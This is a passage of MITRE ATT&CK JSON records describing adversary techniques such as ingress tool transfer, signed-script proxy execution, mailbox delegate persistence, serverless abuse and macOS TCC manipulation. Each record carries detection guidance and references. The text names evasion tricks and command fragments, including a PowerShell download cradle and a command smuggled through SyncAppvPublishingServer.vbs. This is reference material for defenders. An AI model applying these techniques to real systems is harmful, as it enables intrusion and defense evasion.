updates.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_platforms":["Windows"],"x_mitre_version":"2.0","x_mitre_data_sources":["File: File Modification","Process: Process Creation","Module: Module Load","File: File Creation"],"x_mitre_defense_bypassed":["Anti-virus","Application Control"],"type":"attack-pattern","id":"attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b","created":"2020-03-13T19:41:37.908Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1574/002","external_id":"T1574.002"},{"source_name":"FireEye DLL Side-Loading","description":"Amanda Steward. (2014). FireEye DLL Side-Loading: A Thorn in the Side of the Anti-Virus Industry. Retrieved March 13, 2020.","url":"https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"]},{"modified":"2024-04-11T15:08:01.731Z","name":"Ingress Tool Transfer","description":"Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as [ftp](https://attack.mitre.org/software/S0095). Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570)). \n\nOn Windows, adversaries may use various utilities to download tools, such as `copy`, `finger`, [certutil](https://attack.mitre.org/software/S0160), and [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands such as IEX(New-Object Net.WebClient).downloadString() and Invoke-WebRequest. On Linux and macOS systems, a variety of utilities also exist, such as `curl`, `scp`, `sftp`, `tftp`, `rsync`, `finger`, and `wget`.(Citation: t1105_lolbas)\n\nAdversaries may also abuse installers and package managers, such as `yum` or `winget`, to download tools to victim hosts. Adversaries have also abused file application features, such as the Windows `search-ms` protocol handler, to deliver malicious files to victims through remote file searches invoked by [User Execution](https://attack.mitre.org/techniques/T1204) (typically after interacting with [Phishing](https://attack.mitre.org/techniques/T1566) lures).(Citation: T1105: Trellix_search-ms)\n\nFiles can also be transferred using various [Web Service](https://attack.mitre.org/techniques/T1102)s as well as native or otherwise present tools on the victim system.(Citation: PTSecurity Cobalt Dec 2016) In some cases, adversaries may be able to leverage services that sync between a web-based and an on-premises client, such as Dropbox or OneDrive, to transfer files onto victim systems. For example, by compromising a cloud account and logging into the service's web portal, an adversary may be able to trigger an automatic syncing process that transfers the file onto the victim's machine.(Citation: Dropbox Malware Sync)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_contributors":["John Page (aka hyp3rlinx), ApparitionSec","Mark Wee","Shailesh Tiwary (Indian Army)","The DFIR Report","Alain Homewood","Joe Wise","Jeremy Hedges","Selena Larson, @selenalarson"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor for file creation and files transferred into the network. Unusual processes with external network connections creating files on-system may be suspicious. Use of utilities, such as [ftp](https://attack.mitre.org/software/S0095), that does not normally occur may also be suspicious.\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Specifically, for the finger utility on Windows and Linux systems, monitor command line or terminal execution for the finger command. Monitor network activity for TCP port 79, which is used by the finger utility, and Windows netsh interface portproxy modifications to well-known ports such as 80 and 443. Furthermore, monitor file system for the download/creation and execution of suspicious files, which may indicate adversary-downloaded payloads. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Linux","macOS","Windows","Network"],"x_mitre_version":"2.4","x_mitre_data_sources":["File: File Creation","Network Traffic: Network Traffic Content","Network Traffic: Network Traffic Flow","Command: Command Execution","Network Traffic: Network Connection Creation"],"type":"attack-pattern","id":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","created":"2017-05-31T21:31:16.408Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1105","external_id":"T1105"},{"source_name":"T1105: Trellix_search-ms","description":" Mathanraj Thangaraju, Sijo Jacob. (2023, July 26). Beyond File Search: A Novel Method for Exploiting the \"search-ms\" URI Protocol Handler. Retrieved March 15, 2024.","url":"https://www.trellix.com/blogs/research/beyond-file-search-a-novel-method/"},{"source_name":"Dropbox Malware Sync","description":"David Talbot. (2013, August 21). Dropbox and Similar Services Can Sync Malware. Retrieved May 31, 2023.","url":"https://www.technologyreview.com/2013/08/21/83143/dropbox-and-similar-services-can-sync-malware/"},{"source_name":"University of Birmingham C2","description":"Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"},{"source_name":"t1105_lolbas","description":"LOLBAS. (n.d.). LOLBAS Mapped to T1105. Retrieved March 11, 2022.","url":"https://lolbas-project.github.io/#t1105"},{"source_name":"PTSecurity Cobalt Dec 2016","description":"Positive Technologies. (2016, December 16). Cobalt Snatch. Retrieved October 9, 2018.","url":"https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-12T19:42:21.547Z","name":"SyncAppvPublishingServer","description":"Adversaries may abuse SyncAppvPublishingServer.vbs to proxy execution of malicious [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands. SyncAppvPublishingServer.vbs is a Visual Basic script associated with how Windows virtualizes applications (Microsoft Application Virtualization, or App-V).(Citation: 1 - appv) For example, Windows may render Win32 applications to users as virtual applications, allowing users to launch and interact with them as if they were installed locally.(Citation: 2 - appv)(Citation: 3 - appv)\n \nThe SyncAppvPublishingServer.vbs script is legitimate, may be signed by Microsoft, and is commonly executed from `\\System32` through the command line via `wscript.exe`.(Citation: 4 - appv)(Citation: 5 - appv)\n\nAdversaries may abuse SyncAppvPublishingServer.vbs to bypass [PowerShell](https://attack.mitre.org/techniques/T1059/001) execution restrictions and evade defensive counter measures by \"living off the land.\"(Citation: 6 - appv)(Citation: 4 - appv) Proxying execution may function as a trusted/signed alternative to directly invoking `powershell.exe`.(Citation: 7 - appv)\n\nFor example, [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands may be invoked using:(Citation: 5 - appv)\n\n`SyncAppvPublishingServer.vbs \"n; {PowerShell}\"`","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_contributors":["Shaul Vilkomir-Preisman"],"x_mitre_deprecated":false,"x_mitre_detection":"","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows"],"x_mitre_version":"1.0","x_mitre_data_sources":["Script: Script Execution","Command: Command Execution","Process: Process Creation"],"type":"attack-pattern","id":"attack-pattern--e6f19759-dde3-47fc-99cc-d9f5fa4ade60","created":"2024-02-06T16:20:41.647Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1216/002","external_id":"T1216.002"},{"source_name":"4 - appv","description":"John Fokker. (2022, March 17). Suspected DarkHotel APT activity update. Retrieved February 6, 2024.","url":"https://www.trellix.com/en-ca/about/newsroom/stories/research/suspected-darkhotel-apt-activity-update/"},{"source_name":"2 - appv","description":"Microsoft. (2022, November 3). Getting started with App-V for Windows client. Retrieved February 6, 2024.","url":"https://learn.microsoft.com/en-us/windows/application-management/app-v/appv-getting-started"},{"source_name":"5 - appv","description":"Nick Landers, Casey Smith. (n.d.). /Syncappvpublishingserver.vbs. Retrieved February 6, 2024.","url":"https://lolbas-project.github.io/lolbas/Scripts/Syncappvpublishingserver/"},{"source_name":"7 - appv","description":"Nick Landers. (2017, August 8). Need a signed alternative to Powershell.exe? SyncAppvPublishingServer in Win10 has got you covered.. Retrieved September 12, 2024.","url":"https://x.com/monoxgas/status/895045566090010624"},{"source_name":"3 - appv","description":"Raj Chandel. (2022, March 17). Indirect Command Execution: Defense Evasion (T1202). Retrieved February 6, 2024.","url":"https://www.hackingarticles.in/indirect-command-execution-defense-evasion-t1202/"},{"source_name":"1 - appv","description":"SEONGSU PARK. (2022, December 27). BlueNoroff introduces new methods bypassing MoTW. Retrieved February 6, 2024.","url":"https://securelist.com/bluenoroff-methods-bypass-motw/108383/"},{"source_name":"6 - appv","description":"Strontic. (n.d.). SyncAppvPublishingServer.exe. Retrieved February 6, 2024.","url":"https://strontic.github.io/xcyclopedia/library/SyncAppvPublishingServer.exe-3C291419F60CDF9C2E4E19AD89944FA3.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-15T15:37:25.303Z","name":"Additional Email Delegate Permissions","description":"Adversaries may grant additional permission levels to maintain persistent access to an adversary-controlled email account. \n\nFor example, the Add-MailboxPermission [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet, available in on-premises Exchange and in the cloud-based service Office 365, adds permissions to a mailbox.(Citation: Microsoft - Add-MailboxPermission)(Citation: FireEye APT35 2018)(Citation: Crowdstrike Hiding in Plain Sight 2018) In Google Workspace, delegation can be enabled via the Google Admin console and users can delegate accounts via their Gmail settings.(Citation: Gmail Delegation)(Citation: Google Ensuring Your Information is Safe) \n\nAdversaries may also assign mailbox folder permissions through individual folder permissions or roles. In Office 365 environments, adversaries may assign the Default or Anonymous user permissions or roles to the Top of Information Store (root), Inbox, or other mailbox folders. By assigning one or both user permissions to a folder, the adversary can utilize any other account in the tenant to maintain persistence to the target user’s mail folders.(Citation: Mandiant Defend UNC2452 White Paper)\n\nThis may be used in persistent threat incidents as well as BEC (Business Email Compromise) incidents where an adversary can add [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003) to the accounts they wish to compromise. This may further enable use of additional techniques for gaining access to systems. For example, compromised business accounts are often used to send messages to other accounts in the network of the target business while creating inbox rules (ex: [Internal Spearphishing](https://attack.mitre.org/techniques/T1534)), so the messages evade spam/phishing detection mechanisms.(Citation: Bienstock, D. - Defending O365 - 2019)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_contributors":["Microsoft Detection and Response Team (DART)","Mike Burns, Mandiant","Jannie Li, Microsoft Threat Intelligence Center (MSTIC)","Arad Inbar, Fidelis Security","Nilesh Dherange (Gurucul)","Naveen Vijayaraghavan"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor for unusual Exchange and Office 365 email account permissions changes that may indicate excessively broad permissions being granted to compromised accounts.\n\nEnable the UpdateFolderPermissions action for all logon types. The mailbox audit log will forward folder permission modification events to the Unified Audit Log. Create rules to alert on ModifyFolderPermissions operations where the Anonymous or Default user is assigned permissions other than None. \n\nA larger than normal volume of emails sent from an account and similar phishing emails sent from  real accounts within a network may be a sign that an account was compromised and attempts to leverage access with modified email permissions is occurring.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows","Office Suite"],"x_mitre_version":"2.2","x_mitre_data_sources":["Group: Group Modification","Application Log: Application Log Content","User Account: User Account Modification"],"type":"attack-pattern","id":"attack-pattern--e74de37c-a829-446c-937d-56a44f0e9306","created":"2020-01-19T16:54:28.516Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1098/002","external_id":"T1098.002"},{"source_name":"Bienstock, D. - Defending O365 - 2019","description":"Bienstock, D.. (2019). BECS and Beyond: Investigating and Defending O365. Retrieved September 13, 2019.","url":"https://www.slideshare.net/DouglasBienstock/shmoocon-2019-becs-and-beyond-investigating-and-defending-office-365"},{"source_name":"Crowdstrike Hiding in Plain Sight 2018","description":"Crowdstrike. (2018, July 18). Hiding in Plain Sight: Using the Office 365 Activities API to Investigate Business Email Compromises. Retrieved January 19, 2020.","url":"https://www.crowdstrike.com/blog/hiding-in-plain-sight-using-the-office-365-activities-api-to-investigate-business-email-compromises/"},{"source_name":"Google Ensuring Your Information is Safe","description":"Google. (2011, June 1). Ensuring your information is safe online. Retrieved April 1, 2022.","url":"https://googleblog.blogspot.com/2011/06/ensuring-your-information-is-safe.html"},{"source_name":"Gmail Delegation","description":"Google. (n.d.). Turn Gmail delegation on or off. Retrieved April 1, 2022.","url":"https://support.google.com/a/answer/7223765?hl=en"},{"source_name":"FireEye APT35 2018","description":"Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018.","url":"https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf"},{"source_name":"Mandiant Defend UNC2452 White Paper","description":"Mandiant. (2021, January 19). Remediation and Hardening Strategies for Microsoft 365 to Defend Against UNC2452. Retrieved January 22, 2021.","url":"https://www.mandiant.com/resources/blog/remediation-and-hardening-strategies-for-microsoft-365-to-defend-against-unc2452"},{"source_name":"Microsoft - Add-MailboxPermission","description":"Microsoft. (n.d.). Add-Mailbox Permission. Retrieved September 13, 2019.","url":"https://docs.microsoft.com/en-us/powershell/module/exchange/mailboxes/add-mailboxpermission?view=exchange-ps"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--e7cbc1de-1f79-48ee-abfd-da1241c65a15","type":"attack-pattern","created":"2020-10-01T02:11:47.237Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1588.003","url":"https://attack.mitre.org/techniques/T1588/003"},{"url":"https://en.wikipedia.org/wiki/Code_signing","description":"Wikipedia. (2015, November 10). Code Signing. Retrieved March 31, 2016.","source_name":"Wikipedia Code Signing"}],"modified":"2021-10-17T16:19:50.018Z","name":"Code Signing Certificates","description":"Adversaries may buy and/or steal code signing certificates that can be used during targeting. Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with.(Citation: Wikipedia Code Signing) Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is.\n\nPrior to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may purchase or steal code signing certificates for use in operations. The purchase of code signing certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal code signing materials directly from a compromised third-party.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"resource-development"}],"x_mitre_detection":"Consider analyzing code signing certificates for features that may be associated with the adversary and/or their developers, such as the thumbprint, algorithm used, validity period, common name, and certificate authority. Malware repositories can also be used to identify additional samples associated with the adversary and identify patterns an adversary has used in procuring code signing certificates.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related follow-on behavior, such as [Code Signing](https://attack.mitre.org/techniques/T1553/002) or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Malware Repository: Malware Metadata"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--e7eab98d-ae11-4491-bd28-a53ba875865a","type":"attack-pattern","created":"2017-05-31T21:31:38.350Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1126","url":"https://attack.mitre.org/techniques/T1126"},{"url":"https://technet.microsoft.com/bb490717.aspx","description":"Microsoft. (n.d.). Net Use. Retrieved November 25, 2016.","source_name":"Technet Net Use"}],"modified":"2020-01-31T12:39:48.118Z","name":"Network Share Connection Removal","description":"Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation. Windows shared drive and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077) connections can be removed when no longer needed. [Net](https://attack.mitre.org/software/S0039) is an example utility that can be used to remove network share connections with the net use \\\\system\\share /delete command. (Citation: Technet Net Use)\n\n","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Network share connections may be common depending on how an network environment is used. Monitor command-line invocation of net use commands associated with establishing and removing remote shares over SMB, including following best practices for detection of [Windows Admin Shares](https://attack.mitre.org/techniques/T1077). SMB traffic between systems may also be captured and decoded to look for related network share session and file transfer activity. Windows authentication logs are also useful in determining when authenticated network shares are established and by which account, and can be used to correlate network share activity to other events to investigate potentially malicious activity.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_defense_bypassed":["Host forensic analysis"],"x_mitre_permissions_required":["Administrator","User"],"x_mitre_system_requirements":["Established network share connection to a remote system. Level of access depends on permissions of the account used."],"x_mitre_is_subtechnique":false},{"modified":"2024-10-14T22:11:30.271Z","name":"Serverless Execution","description":"Adversaries may abuse serverless computing, integration, and automation services to execute arbitrary code in cloud environments. Many cloud providers offer a variety of serverless resources, including compute engines, application integration services, and web servers. \n\nAdversaries may abuse these resources in various ways as a means of executing arbitrary commands. For example, adversaries may use serverless functions to execute malicious code, such as crypto-mining malware (i.e. [Resource Hijacking](https://attack.mitre.org/techniques/T1496)).(Citation: Cado Security Denonia) Adversaries may also create functions that enable further compromise of the cloud environment. For example, an adversary may use the `IAM:PassRole` permission in AWS or the `iam.serviceAccounts.actAs` permission in Google Cloud to add [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003) to a serverless cloud function, which may then be able to perform actions the original user cannot.(Citation: Rhino Security Labs AWS Privilege Escalation)(Citation: Rhingo Security Labs GCP Privilege Escalation)\n\nServerless functions can also be invoked in response to cloud events (i.e. [Event Triggered Execution](https://attack.mitre.org/techniques/T1546)), potentially enabling persistent execution over time. For example, in AWS environments, an adversary may create a Lambda function that automatically adds [Additional Cloud Credentials](https://attack.mitre.org/techniques/T1098/001) to a user and a corresponding CloudWatch events rule that invokes that function whenever a new user is created.(Citation: Backdooring an AWS account) This is also possible in many cloud-based office application suites. For example, in Microsoft 365 environments, an adversary may create a Power Automate workflow that forwards all emails a user receives or creates anonymous sharing links whenever a user is granted access to a document in SharePoint.(Citation: Varonis Power Automate Data Exfiltration)(Citation: Microsoft DART Case Report 001) In Google Workspace environments, they may instead create an Apps Script that exfiltrates a user's data when they open a file.(Citation: Cloud Hack Tricks GWS Apps Script)(Citation: OWN-CERT Google App Script 2024)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"execution"}],"x_mitre_attack_spec_version":"3.2.0","x_mitre_contributors":["Shailesh Tiwary (Indian Army)","Praetorian","Oleg Kolesnikov, Securonix","Cisco","Varonis Threat Labs","Alex Soler, AttackIQ","Vectra AI","OWN"],"x_mitre_deprecated":false,"x_mitre_detection":"","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_platforms":["SaaS","IaaS","Office Suite"],"x_mitre_version":"1.1","x_mitre_data_sources":["Cloud Service: Cloud Service Modification","Application Log: Application Log Content"],"x_mitre_remote_support":false,"type":"attack-pattern","id":"attack-pattern--e848506b-8484-4410-8017-3d235a52f5b3","created":"2022-05-27T13:19:51.112Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1648","external_id":"T1648"},{"source_name":"Microsoft DART Case Report 001","description":"Berk Veral. (2020, March 9). Real-life cybercrime stories from DART, the Microsoft Detection and Response Team. Retrieved May 27, 2022.","url":"https://www.microsoft.com/security/blog/2020/03/09/real-life-cybercrime-stories-dart-microsoft-detection-and-response-team"},{"source_name":"Backdooring an AWS account","description":"Daniel Grzelak. (2016, July 9). Backdooring an AWS account. Retrieved May 27, 2022.","url":"https://medium.com/daniel-grzelak/backdooring-an-aws-account-da007d36f8f9"},{"source_name":"Varonis Power Automate Data Exfiltration","description":"Eric Saraga. (2022, February 2). Using Power Automate for Covert Data Exfiltration in Microsoft 365. Retrieved May 27, 2022.","url":"https://www.varonis.com/blog/power-automate-data-exfiltration"},{"source_name":"Cloud Hack Tricks GWS Apps Script","description":"HackTricks Cloud. (n.d.). GWS - App Scripts. Retrieved July 1, 2024.","url":"https://cloud.hacktricks.xyz/pentesting-cloud/workspace-security/gws-google-platforms-phishing/gws-app-scripts"},{"source_name":"OWN-CERT Google App Script 2024","description":"L'Hutereau Arnaud. (n.d.). Google Workspace Malicious App Script analysis. Retrieved October 2, 2024.","url":"https://www.own.security/ressources/blog/google-workspace-malicious-app-script-analysis"},{"source_name":"Cado Security Denonia","description":"Matt Muir. (2022, April 6). Cado Discovers Denonia: The First Malware Specifically Targeting Lambda. Retrieved May 27, 2022.","url":"https://www.cadosecurity.com/cado-discovers-denonia-the-first-malware-specifically-targeting-lambda/"},{"source_name":"Rhino Security Labs AWS Privilege Escalation","description":"Rhino Security Labs. (n.d.). AWS IAM Privilege Escalation – Methods and Mitigation. Retrieved May 27, 2022.","url":"https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"},{"source_name":"Rhingo Security Labs GCP Privilege Escalation","description":"Spencer Gietzen. (n.d.). Privilege Escalation in Google Cloud Platform – Part 1 (IAM). Retrieved May 27, 2022.","url":"https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"]},{"modified":"2024-10-16T16:54:56.714Z","name":"TCC Manipulation","description":"Adversaries can manipulate or abuse the Transparency, Consent, & Control (TCC) service or database to grant malicious executables elevated permissions. TCC is a Privacy & Security macOS control mechanism used to determine if the running process has permission to access the data or services protected by TCC, such as screen sharing, camera, microphone, or Full Disk Access (FDA).\n\nWhen an application requests to access data or a service protected by TCC, the TCC daemon (`tccd`) checks the TCC database, located at `/Library/Application Support/com.apple.TCC/TCC.db` (and `~/` equivalent), and an overwrites file (if connected to an MDM) for existing permissions. If permissions do not exist, then the user is prompted to grant permission. Once permissions are granted, the database stores the application's permissions and will not prompt the user again unless reset. For example, when a web browser requests permissions to the user's webcam, once granted the web browser may not explicitly prompt the user again.(Citation: welivesecurity TCC)\n\nAdversaries may access restricted data or services protected by TCC through abusing applications previously granted permissions through [Process Injection](https://attack.mitre.org/techniques/T1055) or executing a malicious binary using another application. For example, adversaries can use Finder, a macOS native app with FDA permissions, to execute a malicious [AppleScript](https://attack.mitre.org/techniques/T1059/002). When executing under the Finder App, the malicious [AppleScript](https://attack.mitre.org/techniques/T1059/002) inherits access to all files on the system without requiring a user prompt. When System Integrity Protection (SIP) is disabled, TCC protections are also disabled. For a system without SIP enabled, adversaries can manipulate the TCC database to add permissions to their malicious executable through loading an adversary controlled TCC database using environment variables and [Launchctl](https://attack.mitre.org/techniques/T1569/001).(Citation: TCC macOS bypass)(Citation: TCC Database)\n\n","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_contributors":["Marina Liang","Wojciech Reguła @_r3ggi","Csaba Fitzl @theevilbit of Kandji"],"x_mitre_deprecated":false,"x_mitre_detection":"","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["macOS"],"x_mitre_version":"1.1","x_mitre_data_sources":["Command: Command Execution","File: File Modification","Process: Process Creation"],"type":"attack-pattern","id":"attack-pattern--e8a0a025-3601-4755-abfb-8d08283329fb","created":"2024-03-21T21:10:57.322Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1548/006","external_id":"T1548.006"},{"source_name":"welivesecurity TCC","description":"Marc-Etienne M.Léveillé. (2022, July 19). I see what you did there: A look at the CloudMensis macOS spyware. Retrieved March 21, 2024.","url":"https://www.welivesecurity.com/2022/07/19/i-see-what-you-did-there-look-cloudmensis-macos-spyware/"},{"source_name":"TCC Database","description":"Marina Liang. (2024, April 23). Return of the mac(OS): Transparency, Consent, and Control (TCC) Database Manipulation. Retrieved March 28, 2024.","url":"https://interpressecurity.com/resources/return-of-the-macos-tcc/"},{"source_name":"TCC macOS bypass","description":"Phil Stokes. (2021, July 1). Bypassing macOS TCC User Privacy Protections By Accident and Design. Retrieved March 21, 2024.","url":"https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--e906ae4d-1d3a-4675-be23-22f7311c0da4","type":"attack-pattern","created":"2017-05-31T21:31:05.140Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1084","url":"https://attack.mitre.org/techniques/T1084"},{"url":"https://www.secureworks.com/blog/wmi-persistence","description":"Dell SecureWorks Counter Threat Unit™ (CTU) Research Team. (2016, March 28). A Novel WMI Persistence Implementation. Retrieved March 30, 2016.","source_name":"Dell WMI Persistence"},{"url":"https://www.defcon.org/images/defcon-22/dc-22-presentations/Kazanciyan-Hastings/DEFCON-22-Ryan-Kazanciyan-Matt-Hastings-Investigating-Powershell-Attacks.pdf","description":"Kazanciyan, R. & Hastings, M. (2014). Defcon 22 Presentation. Investigating PowerShell Attacks [slides]. Retrieved November 3, 2014.","source_name":"Kazanciyan 2014"},{"url":"https://www2.fireeye.com/rs/fireye/images/rpt-m-trends-2015.pdf","description":"Mandiant. (2015, February 24). M-Trends 2015: A View from the Front Lines. Retrieved May 18, 2016.","source_name":"Mandiant M-Trends 2015"},{"url":"https://technet.microsoft.com/en-us/sysinternals/bb963902","description":"Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.","source_name":"TechNet Autoruns"},{"description":"French, D. (2018, October 9). Detecting & Removing an Attacker’s WMI Persistence. Retrieved October 11, 2019.","url":"https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96","source_name":"Medium Detecting WMI Persistence"}],"modified":"2020-01-24T14:08:23.156Z","name":"Windows Management Instrumentation Event Subscription","description":"Windows Management Instrumentation (WMI) can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system. Adversaries may attempt to evade detection of this technique by compiling WMI scripts into Windows Management Object (MOF) files (.mof extension). (Citation: Dell WMI Persistence) Examples of events that may be subscribed to are the wall clock time or the computer's uptime. (Citation: Kazanciyan 2014) Several threat groups have reportedly used this technique to maintain persistence. (Citation: Mandiant M-Trends 2015)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"Monitor WMI event subscription entries, comparing current WMI event subscriptions to known good subscriptions for each host. Tools such as Sysinternals Autoruns may also be used to detect WMI changes that could be attempts at persistence. (Citation: TechNet Autoruns) (Citation: Medium Detecting WMI Persistence)","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_permissions_required":["Administrator","SYSTEM"],"x_mitre_is_subtechnique":false},{"x_mitre_platforms":["macOS"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--e99ec083-abdd-48de-ad87-4dbf6f8ba2a4","type":"attack-pattern","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1160","url":"https://attack.mitre.org/techniques/T1160"},{"url":"https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html","description":"Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.","source_name":"AppleDocs Launch Agent 